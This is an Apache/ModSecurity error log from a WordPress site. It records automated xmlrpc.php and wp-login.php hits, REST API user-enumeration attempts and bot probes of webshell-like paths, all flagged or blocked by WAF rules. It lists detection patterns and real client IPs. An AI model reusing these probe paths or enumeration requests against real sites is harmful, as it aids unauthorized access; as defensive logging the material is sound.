[Fri Jan 09 12:19:26.518285 2026] [:error] [pid 1366:tid 1388] [client 123.193.80.67:4174] [client 123.193.80.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.193.80.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCBzhmasveKu8_ec1XS_QAAAZM"]
[Fri Jan 09 12:20:10.800843 2026] [:error] [pid 14872:tid 14879] [client 8.156.67.207:48686] [client 8.156.67.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.156.67.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCB-qIUELhgYLNp1sblBgAAAsU"]
[Fri Jan 09 12:53:56.373102 2026] [autoindex:error] [pid 14770:tid 14782] [client 143.244.141.160:49487] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Jan 09 12:58:07.878681 2026] [:error] [pid 14739:tid 14745] [client 159.65.254.13:60176] [client 159.65.254.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.254.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWCK3163M6_PkLt_IJIqUwAAAcQ"]
[Fri Jan 09 13:37:00.413642 2026] [:error] [pid 14831:tid 14847] [client 148.113.204.52:53794] [client 148.113.204.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.204.52, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCT_PaKOMCmJcAyBm31lwAAAo4"]
[Fri Jan 09 14:09:28.882659 2026] [:error] [pid 14801:tid 14823] [client 185.242.234.222:32806] [client 185.242.234.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.242.234.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCbmN8UWXrz_OQYgF0p4AAAAlQ"]
[Fri Jan 09 14:09:56.129859 2026] [:error] [pid 30019:tid 30040] [client 150.60.157.163:40555] [client 150.60.157.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.60.157.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCbs0z3igHGwX5f7IqiUQAAABA"]
[Fri Jan 09 14:09:59.919883 2026] [:error] [pid 1366:tid 1376] [client 147.50.228.209:55500] [client 147.50.228.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.50.228.209, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCbtxmasveKu8_ec1X5TAAAAYc"]
[Fri Jan 09 14:33:50.021001 2026] [:error] [pid 14739:tid 14757] [client 185.242.234.222:47488] [client 185.242.234.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.242.234.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWChTl63M6_PkLt_IJI6OgAAAdA"]
[Fri Jan 09 14:33:53.864650 2026] [:error] [pid 30019:tid 30027] [client 160.250.186.135:34060] [client 160.250.186.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.135, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWChUUz3igHGwX5f7IqoTQAAAAM"]
[Fri Jan 09 14:34:08.394292 2026] [:error] [pid 14872:tid 14883] [client 112.213.89.75:45046] [client 112.213.89.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.213.89.75, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWChYKIUELhgYLNp1sb_DwAAAsk"]
[Fri Jan 09 14:34:21.618846 2026] [:error] [pid 30020:tid 30059] [client 42.112.21.205:55688] [client 42.112.21.205] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 42.112.21.205, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWChbcrjc66qOisG6L2rBwAAAIU"]
[Fri Jan 09 14:34:39.999887 2026] [:error] [pid 30021:tid 30100] [client 160.250.186.135:47226] [client 160.250.186.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.250.186.135, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWChfw_M8aRtsTog5J9aGQAAANM"]
[Fri Jan 09 14:38:12.597345 2026] [:error] [pid 14801:tid 14816] [client 43.153.71.12:56418] [client 43.153.71.12] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aWCiVN8UWXrz_OQYgF0ukQAAAk0"]
[Fri Jan 09 14:43:56.875931 2026] [:error] [pid 14872:tid 14886] [client 190.2.155.231:43514] [client 190.2.155.231] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aWCjrKIUELhgYLNp1sYA6AAAAsw"]
[Fri Jan 09 14:44:52.324456 2026] [:error] [pid 1366:tid 1387] [client 190.2.155.231:63588] [client 190.2.155.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.2.155.231, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCj5BmasveKu8_ec1UGHwAAAZI"]
[Fri Jan 09 14:45:43.777269 2026] [:error] [pid 14831:tid 14841] [client 190.2.155.231:33461] [client 190.2.155.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.2.155.231, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCkF_aKOMCmJcAyBm0DxgAAAog"]
[Fri Jan 09 14:46:44.364415 2026] [:error] [pid 1366:tid 1379] [client 190.2.155.231:11138] [client 190.2.155.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.2.155.231, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCkVBmasveKu8_ec1UGngAAAYo"]
[Fri Jan 09 14:47:44.224907 2026] [:error] [pid 14801:tid 14814] [client 190.2.155.231:24539] [client 190.2.155.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.2.155.231, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCkkN8UWXrz_OQYgF0wLgAAAks"]
[Fri Jan 09 14:48:42.902188 2026] [:error] [pid 30020:tid 30078] [client 190.2.155.231:54727] [client 190.2.155.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.2.155.231, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCkysrjc66qOisG6L2tEAAAAJg"]
[Fri Jan 09 14:51:57.810455 2026] [:error] [pid 30021:tid 30100] [client 194.60.201.96:49164] [client 194.60.201.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.60.201.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCljQ_M8aRtsTog5J9dRAAAANM"]
[Fri Jan 09 15:26:58.597033 2026] [:error] [pid 30020:tid 30062] [client 123.193.80.67:6608] [client 123.193.80.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.193.80.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCtwsrjc66qOisG6L2yAQAAAIg"]
[Fri Jan 09 15:27:06.476409 2026] [:error] [pid 1366:tid 1377] [client 8.138.223.159:47354] [client 8.138.223.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.138.223.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCtyhmasveKu8_ec1UWBwAAAYg"]
[Fri Jan 09 15:27:31.233498 2026] [:error] [pid 14872:tid 14898] [client 185.242.234.222:33040] [client 185.242.234.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.242.234.222, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWCt46IUELhgYLNp1sYJHQAAAtg"]
[Fri Jan 09 16:08:31.091845 2026] [:error] [pid 30019:tid 30036] [client 64.23.160.189:35028] [client 64.23.160.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.23.160.189, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWC3f0z3igHGwX5f7Iq6jAAAAAw"]
[Fri Jan 09 16:44:24.350878 2026] [:error] [pid 14770:tid 14773] [client 123.201.70.158:4077] [client 123.201.70.158] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.201.70.158, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWC_6B5QbaVZ-6newJYb6QAAAgE"]
[Fri Jan 09 16:44:27.282718 2026] [:error] [pid 30021:tid 30090] [client 106.205.169.119:24331] [client 106.205.169.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.205.169.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWC_6w_M8aRtsTog5J90mwAAAMk"]
[Fri Jan 09 16:49:08.533146 2026] [:error] [pid 14739:tid 14763] [client 64.110.107.179:49090] [client 64.110.107.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.110.107.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDBBF63M6_PkLt_IJJMpgAAAdY"]
[Fri Jan 09 16:49:10.566070 2026] [:error] [pid 30020:tid 30068] [client 47.243.141.65:46232] [client 47.243.141.65] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.243.141.65, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDBBsrjc66qOisG6L28OwAAAI4"]
[Fri Jan 09 16:49:56.060599 2026] [:error] [pid 14801:tid 14823] [client 150.60.157.163:12863] [client 150.60.157.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 150.60.157.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDBM98UWXrz_OQYgF1DSgAAAlQ"]
[Fri Jan 09 16:50:08.212229 2026] [:error] [pid 30019:tid 30036] [client 111.230.47.77:50192] [client 111.230.47.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 111.230.47.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDBQEz3igHGwX5f7IrCRgAAAAw"]
[Fri Jan 09 16:50:13.176829 2026] [:error] [pid 44848:tid 44866] [client 154.222.16.33:34962] [client 154.222.16.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 154.222.16.33, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDBRajajoTJAbEk87yYTQAAAFA"]
[Fri Jan 09 17:10:22.873923 2026] [:error] [pid 14739:tid 14751] [client 24.199.107.169:52404] [client 24.199.107.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.199.107.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDF_l63M6_PkLt_IJJOugAAAco"]
[Fri Jan 09 17:10:23.969007 2026] [:error] [pid 14739:tid 14765] [client 24.199.107.169:52404] [client 24.199.107.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 24.199.107.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWDF_163M6_PkLt_IJJOuwAAAdg"]
[Fri Jan 09 17:10:27.383522 2026] [:error] [pid 14739:tid 14757] [client 24.199.107.169:52404] [client 24.199.107.169] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aWDGA163M6_PkLt_IJJOvgAAAdA"]
[Fri Jan 09 17:10:28.826016 2026] [:error] [pid 14739:tid 14762] [client 24.199.107.169:52404] [client 24.199.107.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.199.107.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDGBF63M6_PkLt_IJJOwAAAAdU"]
[Fri Jan 09 17:10:30.571739 2026] [:error] [pid 14801:tid 14826] [client 24.199.107.169:53224] [client 24.199.107.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.199.107.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDGBt8UWXrz_OQYgF1F6gAAAlc"]
[Fri Jan 09 17:10:32.258375 2026] [:error] [pid 44848:tid 44863] [client 24.199.107.169:61319] [client 24.199.107.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.199.107.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDGCKjajoTJAbEk87yblgAAAE0"]
[Fri Jan 09 17:10:34.054663 2026] [:error] [pid 44848:tid 44857] [client 24.199.107.169:61516] [client 24.199.107.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.199.107.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDGCqjajoTJAbEk87ybmQAAAEc"]
[Fri Jan 09 17:10:35.740192 2026] [:error] [pid 14831:tid 14848] [client 24.199.107.169:61628] [client 24.199.107.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 24.199.107.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDGC_aKOMCmJcAyBm0a4gAAAo8"]
[Fri Jan 09 17:10:35.740367 2026] [:error] [pid 14831:tid 14848] [client 24.199.107.169:61628] [client 24.199.107.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 24.199.107.169, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDGC_aKOMCmJcAyBm0a4gAAAo8"]
[Fri Jan 09 17:10:36.394537 2026] [:error] [pid 14831:tid 14857] [client 24.199.107.169:65283] [client 24.199.107.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 24.199.107.169, counter = 6"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWDGDPaKOMCmJcAyBm0a5AAAApg"], referer: https://gigfragments.org//wp-login.php
[Fri Jan 09 17:10:37.048642 2026] [:error] [pid 14872:tid 14876] [client 24.199.107.169:65351] [client 24.199.107.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 24.199.107.169, counter = 6"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWDGDaIUELhgYLNp1sYZkwAAAsI"], referer: https://gigfragments.org//wp-login.php
[Fri Jan 09 17:10:37.707056 2026] [:error] [pid 14831:tid 14839] [client 24.199.107.169:65390] [client 24.199.107.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 24.199.107.169, counter = 6"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWDGDfaKOMCmJcAyBm0a5wAAAoY"], referer: https://gigfragments.org//wp-login.php
[Fri Jan 09 17:10:38.362176 2026] [:error] [pid 14770:tid 14780] [client 24.199.107.169:65425] [client 24.199.107.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 24.199.107.169, counter = 6"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWDGDh5QbaVZ-6newJYe4wAAAgg"], referer: https://gigfragments.org//wp-login.php
[Fri Jan 09 17:10:39.014866 2026] [:error] [pid 14831:tid 14854] [client 24.199.107.169:65457] [client 24.199.107.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 24.199.107.169, counter = 6"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWDGD_aKOMCmJcAyBm0a6AAAApU"], referer: https://gigfragments.org//wp-login.php
[Fri Jan 09 17:10:39.667722 2026] [:error] [pid 1366:tid 1373] [client 24.199.107.169:65492] [client 24.199.107.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 24.199.107.169, counter = 6"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWDGDxmasveKu8_ec1UzZAAAAYQ"], referer: https://gigfragments.org//wp-login.php
[Fri Jan 09 17:10:40.323106 2026] [:error] [pid 14770:tid 14795] [client 24.199.107.169:65532] [client 24.199.107.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 24.199.107.169, counter = 6"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aWDGEB5QbaVZ-6newJYe5gAAAhc"], referer: https://gigfragments.org//wp-login.php
[Fri Jan 09 17:26:41.136381 2026] [:error] [pid 30021:tid 30099] [client 66.29.147.6:41324] [client 66.29.147.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.29.147.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDJ0Q_M8aRtsTog5J98BgAAANI"]
[Fri Jan 09 17:38:13.563111 2026] [:error] [pid 30021:tid 30105] [client 97.74.210.217:14100] [client 97.74.210.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 97.74.210.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDMhQ_M8aRtsTog5J9-PwAAANg"]
[Fri Jan 09 18:53:45.719667 2026] [:error] [pid 1366:tid 1373] [client 51.89.19.88:46312] [client 51.89.19.88] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.89.19.88, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDeORmasveKu8_ec1VPgAAAAYQ"]
[Fri Jan 09 20:07:05.793448 2026] [:error] [pid 14801:tid 14813] [client 150.109.230.210:34380] [client 150.109.230.210] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aWDvad8UWXrz_OQYgF1h1wAAAko"]
[Fri Jan 09 20:12:52.816807 2026] [:error] [pid 14739:tid 14750] [client 69.57.172.96:55358] [client 69.57.172.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 69.57.172.96, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aWDwxF63M6_PkLt_IJJnMQAAAck"]
[Fri Jan 09 20:19:37.988984 2026] [:error] [pid 1366:tid 1368] [client 85.203.21.45:60119] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-confiq.php"] [unique_id "aWDyWRmasveKu8_ec1VqBgAAAYA"]
[Fri Jan 09 20:19:38.339628 2026] [:error] [pid 14801:tid 14808] [client 85.203.21.41:63671] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/nrhogjyecktixbal0fnt5Cakc.php"] [unique_id "aWDyWt8UWXrz_OQYgF1jSQAAAkU"]
[Fri Jan 09 20:19:38.697633 2026] [:error] [pid 30020:tid 30077] [client 85.203.21.235:65441] [client 85.203.21.235] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/manager.php"] [unique_id "aWDyWsrjc66qOisG6L3YRQAAAJc"]
